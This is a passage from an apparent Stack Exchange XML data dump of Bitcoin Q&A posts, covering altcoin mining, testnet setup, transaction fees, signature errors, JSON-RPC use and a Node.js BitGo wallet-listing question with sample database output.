ContentLicense="CC BY-SA 3.0" />
  <row Id="43925" PostTypeId="1" CreationDate="2016-04-30T06:39:30.897" Score="3" ViewCount="2619" Body="&lt;p&gt;Is there any way by which I can mine Monero or other altcoins using Azure Cloud Services.&lt;/p&gt;&#xA;" OwnerUserId="35199" LastEditorUserId="5406" LastEditDate="2016-04-30T07:27:48.337" LastActivityDate="2017-02-08T13:25:15.340" Title="How can I mine Monero or other altcoins using Azure Cloud Services?" Tags="|cloud-mining|cryptonote|monero|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43926" PostTypeId="2" ParentId="43861" CreationDate="2016-04-30T09:04:05.620" Score="2" Body="&lt;p&gt;This worked for me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;addnode 185.28.76.179:18333 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This &quot;well connected testnet node&quot; was suggested to me &lt;a href=&quot;https://bitcointalk.org/index.php?topic=1451591.msg14670180#msg14670180&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="34941" LastEditorUserId="5406" LastEditDate="2016-04-30T09:29:43.690" LastActivityDate="2016-04-30T09:29:43.690" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43927" PostTypeId="2" ParentId="43892" CreationDate="2016-04-30T18:41:25.097" Score="3" Body="&lt;p&gt;&lt;code&gt;settxfee&lt;/code&gt; sets the fee/kb for future API calls like &lt;code&gt;sendfrom&lt;/code&gt;.  It is remains in effect as long as the program runs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;estimatefee 1&lt;/code&gt; returns the fee estimated to result in confirmation within 1 block.&lt;/p&gt;&#xA;" OwnerUserId="21546" LastActivityDate="2016-04-30T18:41:25.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43928" PostTypeId="1" CreationDate="2016-04-30T23:16:19.593" Score="3" ViewCount="608" Body="&lt;p&gt;I will mine myself ONLY so difficulty will be always in 1 range so CPU is enough for this task&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is: how to setup bitcoin core 0.12 to start mining with CPU new blockchain ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I type in the console: setgenerate true and wait a few hours it's possible to mine first block with 50 BTC (of course with internet connection OFF to prevent download blocks)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that this BTC will be worthless ATM (without $ value) but I want to do that anyway to better understand mining process&lt;/p&gt;&#xA;" OwnerUserId="35219" LastActivityDate="2016-08-01T00:09:09.390" Title="I want to start mining new blockchain (exactly as Satoshi did in 2009) for testing purpose" Tags="|blockchain|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43929" PostTypeId="1" CreationDate="2016-05-01T00:55:11.567" Score="2" ViewCount="978" Body="&lt;p&gt;Transaction id:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;a667e6d1a80c17bd0b55afec7c6ec618ca64a2a6c1b4f9badaf1c883bf5cb5dd &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I sent bitcoin from electrum wallet with a 0.002 miner fee but it is showing unconfirmed. I tried to manually broadcast the transaction on blockchain.info but I am getting a transaction rejected because of High S value error. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I don't see my transaction on the blockchain does that mean that my transaction was not broadcasted on the network? I am hoping that the transaction drops from the network as I do not want to resend.&lt;/p&gt;&#xA;" OwnerUserId="35220" LastActivityDate="2016-05-02T07:26:02.693" Title="Generated a transaction id but not seen on blockchain" Tags="|electrum|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43931" PostTypeId="1" CreationDate="2016-05-01T05:35:41.203" Score="3" ViewCount="1574" Body="&lt;p&gt;So I have had my Gridseed (5 chips) for about a week now, and still couldn't mine any Bitcoin, only Scrypt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am currently only able to mine with &lt;code&gt;minerd&lt;/code&gt;, using &lt;code&gt;Scrypt&lt;/code&gt;, and I am on a Mac.&#xA;I tried to mine Bitcoin using &lt;code&gt;cgminer&lt;/code&gt;, &lt;code&gt;bfgminer&lt;/code&gt;, &lt;code&gt;minerd&lt;/code&gt; (versions from MacMiner and others on the internet), tried to compile, nothings seems to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Problem&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;With &lt;code&gt;cgminer&lt;/code&gt; I can see the hashrate (~&lt;code&gt;11Gh/s&lt;/code&gt;) but no share is accepted.&lt;/li&gt;&#xA;&lt;li&gt;With &lt;code&gt;bfgminer&lt;/code&gt; it just wont recognize the grid&lt;/li&gt;&#xA;&lt;li&gt;With &lt;code&gt;minerd&lt;/code&gt; it keeps trying and trying, and does nothing.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Looks like &lt;code&gt;cgminer&lt;/code&gt; is my best shot, but no share is accepted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried on a Windows VM (virtualbox), same outcome!&#xA;I have looked all over the internet (&lt;a href=&quot;http://www.overclock.net/t/1487157/gridseed-help&quot; rel=&quot;nofollow&quot;&gt;Gridseed-Help&lt;/a&gt;, &lt;a href=&quot;http://cryptomining-blog.com/1262-download-cgminer-3-7-2-for-windows-scrypt-mining-on-gridseed-5-chip-gc3355-asics/&quot; rel=&quot;nofollow&quot;&gt;Cryptomining-blog&lt;/a&gt;, &lt;a href=&quot;https://bitcointalk.org/index.php?topic=494625.0&quot; rel=&quot;nofollow&quot;&gt;GridSeed-Guide on BitcoinTalk&lt;/a&gt;, and off course &lt;a href=&quot;http://macminer.fabulouspanda.com/blog/index.php?post/2014/02/27/Mining-with-Gridseed-ASICs-including-DualMiner-on-Mac-OS-X&quot; rel=&quot;nofollow&quot;&gt;Mac-Mining-Guide&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any input on here?&lt;/p&gt;&#xA;" OwnerUserId="35223" LastEditorUserId="5406" LastEditDate="2016-05-06T07:22:42.487" LastActivityDate="2020-08-30T14:06:30.613" Title="Gridseed not mining bitcoin - no shares accepted" Tags="|cgminer|mac|bfgminer|minerd|gridseed|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43933" PostTypeId="2" ParentId="43928" CreationDate="2016-05-01T06:15:15.627" Score="0" Body="&lt;p&gt;Set &lt;code&gt;regtest=1&lt;/code&gt; in bitcoin.conf.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2016-05-01T06:15:15.627" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="43935" PostTypeId="1" AcceptedAnswerId="43936" CreationDate="2016-05-01T07:14:03.743" Score="1" ViewCount="2094" Body="&lt;p&gt;Is it the processor? Or maybe RAM? I'm sure, it's not the GPU though. Which and what part does it make them powerful to mine?&lt;/p&gt;&#xA;" OwnerUserId="35226" LastEditorUserId="5406" LastEditDate="2016-05-01T19:05:35.407" LastActivityDate="2016-05-01T19:05:35.407" Title="What makes a Bitcoin Miner chip such as an Antminer different than a usual CPU?" Tags="|mining-hardware|asic|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43936" PostTypeId="2" ParentId="43935" CreationDate="2016-05-01T08:45:40.097" Score="1" Body="&lt;p&gt;Bitcoin miners have ASIC (application-specific integrated circuits), special chips which can perform mining calculations and nothing else, and are very efficient for it. The specific calculations required are encoded in the hardware - the transistors are arranged in the pattern &quot;calculate SHA-256&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In contrast, the CPU that exists in normal computers can do everything, but is not very efficient at any one task. The transistors are arranged in the pattern &quot;execute the instructions that you are given&quot;. So you can give it any instructions you want, including &quot;calculate SHA-256&quot; - but it will not be as efficient as a special-purpose chip.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2016-05-01T08:45:40.097" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="43937" PostTypeId="1" CreationDate="2016-05-01T09:57:40.597" Score="1" ViewCount="2098" Body="&lt;p&gt;Which library I must use for JSON? Where is RPC call example ?&#xA;How to use RPC of bitcoind or bitcoin-cli? or better &lt;strong&gt;Electrum&lt;/strong&gt; API to get all new (maybe pending) transactions which appears in Bitcoin net?&lt;/p&gt;&#xA;" OwnerUserId="35228" LastActivityDate="2019-05-28T07:08:13.340" Title="How to use JSON-RPC in C++ in Linux?" Tags="|transactions|json-rpc|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="43938" PostTypeId="2" ParentId="43937" CreationDate="2016-05-01T10:43:41.163" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;How to use RPC of bitcoind or bitcoin-cli?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;bitcoind - bitcoin deamon = core value of the software (bitcoind -printtoconsole -debug=1)&lt;/li&gt;&#xA;&lt;li&gt;bitcoin-cli - bitcoin command line interface = allow you to &quot;query' the blockchain that you had download previously with bitcoind. (bitcoin-cli getinfo)&lt;br&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So bitcoind provide the RPC &quot;interface&quot; in which you can query with bitcoin-cli &lt;br&gt;(or a library in c++ you will find...).&lt;br&gt;&#xA;You must run bitcoind before using bitcoin-cli.&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically bitcoin-cli communicate with your node bitcoind so in other word your current blockchain state.&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;bitcoin-qt - Graphical bitcoin software = bitcoind + graphical interface &#xA;&lt;br&gt;(You can find a graphical console embedded in which you will use bitcoin-cli command)&lt;/p&gt;&#xA;" OwnerUserId="26697" LastActivityDate="2016-05-01T10:43:41.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43939" PostTypeId="1" CreationDate="2016-05-01T11:55:40.577" Score="8" ViewCount="438" Body="&lt;p&gt;Is there any real USA court cases with Bitcoin's Blockchain used as an proof-of-existence/timestamp service (without BTC transfer)? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can Bitcoin's Blockchain be used as a 'signing' utility same as DocuSign service (for example) that conforms to ESIGN?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="31776" LastEditorUserId="5406" LastEditDate="2016-05-01T17:24:50.527" LastActivityDate="2016-05-21T11:12:27.987" Title="Legal status of Blockchain proof-of-existence TX (USA court)" Tags="|blockchain|legal|message-signing|usa|proof-of-existence|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43943" PostTypeId="2" ParentId="43283" CreationDate="2016-05-02T00:09:32.787" Score="1" Body="&lt;p&gt;Create a new wallet in Electrum.  Copy the 'Master Public Key' and pass it to the money-tree gem like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require 'money-tree'&#xA;&#xA;@node = MoneyTree::Node.from_bip32(&quot;YOUR_MASTER_PUBLIC_KEY&quot;)&#xA;&#xA;i = 0&#xA;20.times do&#xA;  @child = @node.node_for_path &quot;m/0/#{i}&quot;&#xA;  puts @child.to_address&#xA;  i+= 1&#xA;end&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will give you the first 20 child nodes of the first child of the master public key.  These addresses should be the same as your &quot;Receiving&quot; addresses in your Electrum wallet.&lt;/p&gt;&#xA;" OwnerUserId="35238" LastActivityDate="2016-05-02T00:09:32.787" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43945" PostTypeId="2" ParentId="43929" CreationDate="2016-05-02T06:20:22.400" Score="0" Body="&lt;p&gt;Guess your transaction transmit was failing on account of higher fees. Else,&#xA;your transaction may have already been transmitted by your wallet and your peers too may have already received the same. This would be in yours and their mempool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, because of some error, this transaction has not been picked up any miners and hence remaining unconfirmed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you can do is to create a new transaction with the same vins but reduce the fee from 0.002 and give a retry.&lt;/p&gt;&#xA;" OwnerUserId="34117" LastActivityDate="2016-05-02T06:20:22.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43946" PostTypeId="2" ParentId="43929" CreationDate="2016-05-02T07:26:02.693" Score="1" Body="&lt;p&gt;&lt;code&gt;High S value error&lt;/code&gt; indicates that a signature in your transaction doesn't adhere to &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0062.mediawiki#low-s-values-in-signatures&quot; rel=&quot;nofollow&quot;&gt;BIP-62&lt;/a&gt;, i.e. that your signature is non-default. This is the same issue that has been levered in many of the past transaction malleability problems. This could happen for example if you use a very old version of your wallet software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your transaction hasn't propagated in the network, you should be able to create a new transaction with the same inputs. It might have been malleated and broadcasted with a different signature though, which would give it a different transaction id. If that's the case you should be able to find it by looking at the addresses of your inputs.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2016-05-02T07:26:02.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43947" PostTypeId="1" CreationDate="2016-05-02T08:46:50.353" Score="3" ViewCount="108" Body="&lt;p&gt;I was reading the paper written by Kuramesan and Bentov with title &quot;How to use Bitcoin to Design Fair Protocols&quot;. &#xA;Source: &lt;a href=&quot;https://eprint.iacr.org/2014/129.pdf&quot; rel=&quot;nofollow&quot;&gt;https://eprint.iacr.org/2014/129.pdf&lt;/a&gt;&#xA;Specifically, the sender creates a transaction which can be redeemed the following way: &#xA;1) By providing the Sender's signature AND the Receiver's signature&#xA;2) By Receiver's signature and a witness/proof which will make a circuit/function valid&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whichever of the conditions comes claims the transaction. My problem in understanding is what this circuit/function should be. Can it a random secret chosen by so if we pass through a hash function that is the circuit it can easily be verified since the receiver has to reveal this secret through it's claim transaction?&#xA;Is my assumption correct?&lt;/p&gt;&#xA;" OwnerUserId="10246" LastActivityDate="2016-05-02T08:46:50.353" Title="Claim or Refund Functionality Implementation in Bitcoin" Tags="|locktime|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43949" PostTypeId="1" CreationDate="2016-05-02T13:06:32.823" Score="0" ViewCount="1001" Body="&lt;p&gt;I would like to generate a bitcoin paper testnet wallet.&lt;br&gt;&#xA;A paper wallet is a QR code of a private key and a QR code of a bitcoin testnet address, &lt;br&gt;I assume it can be generate juste like this link does : &lt;a href=&quot;https://api.qrserver.com/v1/create-qr-code/?size=150x150&amp;amp;data=privateKeyOrBtcAddress&quot; rel=&quot;nofollow&quot;&gt;https://api.qrserver.com/v1/create-qr-code/?size=150x150&amp;amp;data=privateKeyOrBtcAddress&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I'm trying to read it via Testnet3 android app, funds are not recognized. &lt;br&gt;When I read the QR Code from a QR Reader app, I see correctly the content (privateKey for instance).&lt;br&gt;Should I conclude that the application has a problem with this feature or did I miss something ?&lt;/p&gt;&#xA;" OwnerUserId="26697" LastActivityDate="2016-10-01T04:53:46.703" Title="Generate QR Code tesnet" Tags="|testnet|qrcode|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43950" PostTypeId="2" ParentId="43928" CreationDate="2016-05-02T13:59:39.050" Score="0" Body="&lt;p&gt;You can spawn and distribute blockchain networks on the fly with coinclone:&lt;br&gt;&#xA;&lt;a href=&quot;https://github.com/coinclone/cloner&quot; rel=&quot;nofollow&quot;&gt;https://github.com/coinclone/cloner&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15533" LastEditorUserId="15533" LastEditDate="2016-05-02T22:54:00.100" LastActivityDate="2016-05-02T22:54:00.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43951" PostTypeId="2" ParentId="43928" CreationDate="2016-05-02T14:18:40.363" Score="0" Body="&lt;p&gt;It won't work right out of the box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, the Bitcoin Core client has hardcoded &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1797/what-are-checkpoints&quot;&gt;checkpoints&lt;/a&gt; asserting that certain specific blocks should be found at certain heights.  Your chain won't contain those blocks, so if you ever reach those heights, your own client will reject your whole chain.  It might even be that the client will refuse to even start mining until it has downloaded a chain that matches up to the last checkpoint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for starters, you'd have to edit out the checkpoints and recompile the source code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There may be other issues, due to changes in the Bitcoin protocol since 2009.  The client knows what the rules were at that time, and is able to check that blocks near the beginning of the block chain satisfy them.  But it most likely creates new blocks in conformance with today's rules, which might not be acceptable in an &quot;old&quot; block.  So again, you might find that it rejects its own blocks.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2016-05-02T14:18:40.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43952" PostTypeId="1" AcceptedAnswerId="43957" CreationDate="2016-05-02T16:29:06.967" Score="2" ViewCount="1035" Body="&lt;p&gt;i'm very new to bitcoins (started learning it today). i hope i get the question right:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i understand when a transaction is created, using my private key i sign the transaction, but i also provide the public key with it right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if so, what denies a man in the middle to take it, re-sign using his own private key, and provide his own public key?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;regular https handles this issue using a root CA, which i understand doesn't exist in bitcoins concept&lt;/li&gt;&#xA;&lt;li&gt;encryption is usually used using the public keys, to avoid someone else changing the transaction and re-encrypt it (as it doesn't have the private key to open the data)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;so, i don't quite understand what makes it secure as the bitcoin wallet creates a data that is not encrypted, and anyone else can take this data, and alter whatever it wants before it leaves the network&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks!&lt;/p&gt;&#xA;" OwnerUserId="35261" LastActivityDate="2016-05-02T21:13:14.383" Title="can man in the middle change transaction before its broadcast?" Tags="|transactions|security|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43953" PostTypeId="1" CreationDate="2016-05-02T16:43:47.913" Score="1" ViewCount="217" Body="&lt;p&gt;&lt;code&gt;My Setup:&lt;/code&gt;&#xA;With the help of Mongoose module we handle all Mongo Database operations. &#xA;For each new user a wallet is generated and stored inside a Mongo collection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;METHOD:&lt;/code&gt;&#xA;If we use &lt;code&gt;User.find({}, function(err, docs) {&lt;/code&gt;. We can get each user object.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;User.find({}, function(err, docs) {&#xA; if (err) {console.log('Could not find Wallets in DB');} else { &#xA;   docs.forEach(function(address) {&#xA;     console.log(address);&#xA;   });&#xA; }&#xA;});&#xA;&#xA;// console.log(address); &amp;lt;== Result:&#xA;&#xA;{ tokens: [],&#xA;  profile: { gender: '', location: '', website: '', picture: '' },&#xA;  __v: 0,&#xA;  balance: 0,&#xA;  playerWallet: '2N3qPHp7bNaL4hiztrzZCzCywryKUzb5aLE',&#xA;  password: '$2a$10$JRs/hyiStyhcZzHBwFnhmulKX0vTqlNMTGdxJjDdCSD0Bufe7K6wC',&#xA;  email: '111111111111111111111@11111111111111111.com',&#xA;  username: '111111111111111111111',&#xA;  createdAt: Mon May 02 2016 01:38:11 GMT+0300 (EEST),&#xA;  updatedAt: Mon May 02 2016 01:38:17 GMT+0300 (EEST),&#xA;  _id: 57268553ea2d6bb50c9d4069 &#xA;}&#xA;2N3qPHp7bNaL4hiztrzZCzCywryKUzb5aLE }&#xA;{ tokens: [],&#xA;  profile: { gender: '', location: '', website: '', picture: '' },&#xA;  __v: 0,&#xA;  balance: 0,&#xA;  playerWallet: '2N2oG4nBJZU19Aks3MLvHqDKMXePmHhbEjC',&#xA;  password: '$2a$10$cCo5gQgqcRpQW9Dl/Q.48uJEQCaOpJOLY8LVpQxoQFZ6nUqQD8lEC',&#xA;  email: '2222222222222222222222222@222222222222222222.com',&#xA;  username: '2222222222222222222222222',&#xA;  createdAt: Mon May 02 2016 01:38:38 GMT+0300 (EEST),&#xA;  updatedAt: Mon May 02 2016 01:38:44 GMT+0300 (EEST),&#xA;  _id: 5726856eea2d6bb50c9d406a &#xA;}&#xA;2N2oG4nBJZU19Aks3MLvHqDKMXePmHhbEjC&#xA;{ tokens: [],&#xA;  profile: { gender: '', location: '', website: '', picture: '' },&#xA;  __v: 0,&#xA;  balance: 0,&#xA;  playerWallet: '2My1FGBG6erNXfzeGXg5DXnLk2PWxhpk9SL',&#xA;  password: '$2a$10$tL96HqPIAi6q8XnI3z4Bc.dX88fTYQXsTt.UFWJQn4k6ZdDFOZLe2',&#xA;  email: '33333333333333333333333@33333333333333333333333.com',&#xA;  username: '33333333333333333333333',&#xA;  createdAt: Mon May 02 2016 01:39:03 GMT+0300 (EEST),&#xA;  updatedAt: Mon May 02 2016 01:39:09 GMT+0300 (EEST),&#xA;  _id: 57268587ea2d6bb50c9d406b &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;HERE LIES THE PROBLEM:&lt;/code&gt;&#xA;Because i use a for loop to iterate all wallet addresses, I get 3 different calls and always get one object at a time. I never get more than 1 User object stored into my .JSON file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var _24HourGame = &quot;.24HourGame.json&quot;; // Save Path&#xA;var user = 'Super@User.com';&#xA;var loginPassword = 'SuperSecretPassword';&#xA;var otp = '0000000';&#xA;&#xA;var bitgo = new BitGoJS.BitGo();&#xA;&#xA;var listWallets = function() {&#xA;&#xA;User.find({}, function(err, docs) {&#xA;if (err) {console.log('Could not find Wallets in DB');} else { &#xA;  docs.forEach(function(address) {&#xA;  console.log(address);&#xA;  var allWallets = [];&#xA;  allWallets.push(address.playerWallet);&#xA;&#xA;           console.log(allWallets); &#xA;  //   ALL ADDRESSEs EACH IN ITS OWN ARRAY&#xA;  //[ '2N3qPHp7bNaL4hiztrzZCzCywryKUzb5aLE' ]&#xA;  //[ '2N2oG4nBJZU19Aks3MLvHqDKMXePmHhbEjC' ]&#xA;  //[ '2My1FGBG6erNXfzeGXg5DXnLk2PWxhpk9SL' ]&#xA;&#xA;  // Don't know how to use a better method that calls back recursively and sums all 3 obj received into an array....&#xA;  for( var iteration in allWallets){ &#xA;&#xA;        console.log(allWallets[iteration]); &#xA;  //  '2N3qPHp7bNaL4hiztrzZCzCywryKUzb5aLE'&#xA;  //  '2N2oG4nBJZU19Aks3MLvHqDKMXePmHhbEjC'&#xA;  //  '2My1FGBG6erNXfzeGXg5DXnLk2PWxhpk9SL'&#xA;&#xA;  // How to call a Recursive Callbacks or a Promise for bitgo.wallets().gest({}) while iterating multiple address?&#xA;      bitgo.wallets().get({ &quot;id&quot;: allWallets[iteration] }, function callback(err, wallet) { &#xA;        if (err) { throw err; }&#xA;        console.log( address._id + ' ' + address.playerWallet + ' ' + 'BlockChain_Balance: ' + wallet.balance() / 1e8.toFixed(4) + ' DB_Balance: ' );&#xA;&#xA;        jsonfile.writeFileSync(_24HourGame, wallet, {spaces: 3});&#xA;&#xA;            });&#xA;          }&#xA;&#xA;      });&#xA;    }&#xA;  });&#xA;&#xA; };&#xA;&#xA; // Authenticate first&#xA; bitgo.authenticate({ username: user, password: loginPassword, otp: otp }, function(err, result) {&#xA;   if (err) { console.dir(err); throw new Error(&quot;Could not authenticate!&quot;); }&#xA;   console.log(&quot;Unlocking account..&quot; );&#xA;   bitgo.unlock({ otp: otp }, function(err) {&#xA;     if (err) { console.dir(err); throw new Error(&quot;Could not unlock!&quot;); }&#xA;     listWallets();&#xA;     });&#xA; });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When i save result to JSON I only get one object at a time:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;     {&#xA;        &quot;_id&quot;: &quot;5726858f42929c5c066825b6cc7f9d96&quot;,&#xA;        &quot;id&quot;: &quot;2My1FGBG6erNXfzeGXg5DXnLk2PWxhpk9SL&quot;,&#xA;        &quot;label&quot;: &quot;123labeling&quot;,&#xA;        &quot;isActive&quot;: true,&#xA;        &quot;type&quot;: &quot;safehd&quot;,&#xA;        &quot;freeze&quot;: {},&#xA;        &quot;adminCount&quot;: 1,&#xA;        &quot;disableTransactionNotifications&quot;: false,&#xA;        &quot;private&quot;: {&#xA;           &quot;keychains&quot;: [&#xA;              {&#xA;                 &quot;xpub&quot;: &quot;xpub661MyMwAqRbcG8zA12U9YnJU3fSxoCq857uMcFon6ViZdYMSeXbeVUGtGkBCasmE3SGdJVRr4ui1V8TzsmM7K6eKikSi9gZQiJXoVumGTnU&quot;,&#xA;                 &quot;path&quot;: &quot;/0/0&quot;,&#xA;                 &quot;params&quot;: {&#xA;                    &quot;pubKey&quot;: &quot;031ec65814f7e46e274a78671f6ed2b945c386e378160b19613ce8ba555e793635&quot;,&#xA;                    &quot;chainCode&quot;: &quot;a046f6f6ea9fd06974b333e87a483c9c3cbdeb41c0e56c8f21a6954f9f95e387&quot;,&#xA;                    &quot;depth&quot;: 0,&#xA;                    &quot;index&quot;: 0,&#xA;                    &quot;parentFingerprint&quot;: 0&#xA;                 }&#xA;              },&#xA;              {&#xA;                 &quot;xpub&quot;: &quot;xpub6GiRC55CRvMEnS2CtwqrMNKDnpsogbX1tukjM2xWyW1PttVLSEVgDiJq7bWh6esAQWeQ9oGNR56RHqwzKLCzzneM6DGq91v8sA9DAJbUbtm&quot;,&#xA;                 &quot;path&quot;: &quot;/0/0&quot;,&#xA;                 &quot;params&quot;: {&#xA;                    &quot;pubKey&quot;: &quot;027f30812a8f33ffeb44515d0fe9cc99041c2369f407ecc537d492d34da48c29d2&quot;,&#xA;                    &quot;chainCode&quot;: &quot;4f493067187019f78a773e3e559c699b98c0e82a53cbf76cf9ba5db8103062a0&quot;,&#xA;                    &quot;depth&quot;: 5,&#xA;                    &quot;index&quot;: 58402,&#xA;                    &quot;parentFingerprint&quot;: 2966462100&#xA;                 }&#xA;              },&#xA;              {&#xA;                 &quot;xpub&quot;: &quot;xpub661MyMwAqRbcF6cBQfmTER34dwShTVu6x2h24nxhHxMX3jAHCP9DJYuLcHABvaMeaBcSMdcte8mhAMnCcBCypK5iGe6H33aUH8JWbstSKP9&quot;,&#xA;                 &quot;path&quot;: &quot;/0/0&quot;,&#xA;                 &quot;params&quot;: {&#xA;                    &quot;pubKey&quot;: &quot;02ec33597217f00f1ad5689b0abbfd01d850c921d4560d1333f52f9f70eea2aafd&quot;,&#xA;                    &quot;chainCode&quot;: &quot;37b746ccdf38587d6a943f8007ef9e3012f52c73079f53c094f446cd43f9bb4f&quot;,&#xA;                    &quot;depth&quot;: 0,&#xA;                    &quot;index&quot;: 0,&#xA;                    &quot;parentFingerprint&quot;: 0&#xA;                 }&#xA;              }&#xA;           ]&#xA;        },&#xA;        &quot;canSendInstant&quot;: true,&#xA;        &quot;permissions&quot;: &quot;admin,spend,view&quot;,&#xA;        &quot;admin&quot;: {&#xA;           &quot;users&quot;: [&#xA;              {&#xA;                 &quot;user&quot;: &quot;56f9e3b2cd8f2e5906530948fe1af2d2&quot;,&#xA;                 &quot;permissions&quot;: &quot;admin,spend,view&quot;&#xA;              }&#xA;           ]&#xA;        },&#xA;        &quot;tags&quot;: [],&#xA;        &quot;approvalsRequired&quot;: 1,&#xA;        &quot;spendingAccount&quot;: true,&#xA;        &quot;pendingApprovals&quot;: [],&#xA;        &quot;balance&quot;: 30000000,&#xA;        &quot;instantBalance&quot;: 0,&#xA;        &quot;spendableConfirmedBalance&quot;: 0,&#xA;        &quot;confirmedBalance&quot;: 0,&#xA;        &quot;spendableBalance&quot;: 0,&#xA;        &quot;sent&quot;: 0,&#xA;        &quot;received&quot;: 30000000,&#xA;        &quot;unconfirmedSends&quot;: 0,&#xA;        &quot;unconfirmedReceives&quot;: 30000000&#xA;     }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to sum all objects into one array of objects...:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;     [&#xA;     {&#xA;        &quot;_id&quot;: &quot;5726857642929c5c066825819a872925&quot;,&#xA;        &quot;id&quot;: &quot;2N2oG4nBJZU19Aks3MLvHqDKMXePmHhbEjC&quot;,&#xA;        &quot;label&quot;: &quot;123labeling&quot;,&#xA;        &quot;isActive&quot;: true,&#xA;        &quot;type&quot;: &quot;safehd&quot;,&#xA;        &quot;freeze&quot;: {},&#xA;        &quot;adminCount&quot;: 1,&#xA;        &quot;disableTransactionNotifications&quot;: false,&#xA;        &quot;private&quot;: {&#xA;           &quot;keychains&quot;: [&#xA;              {&#xA;                 &quot;xpub&quot;: 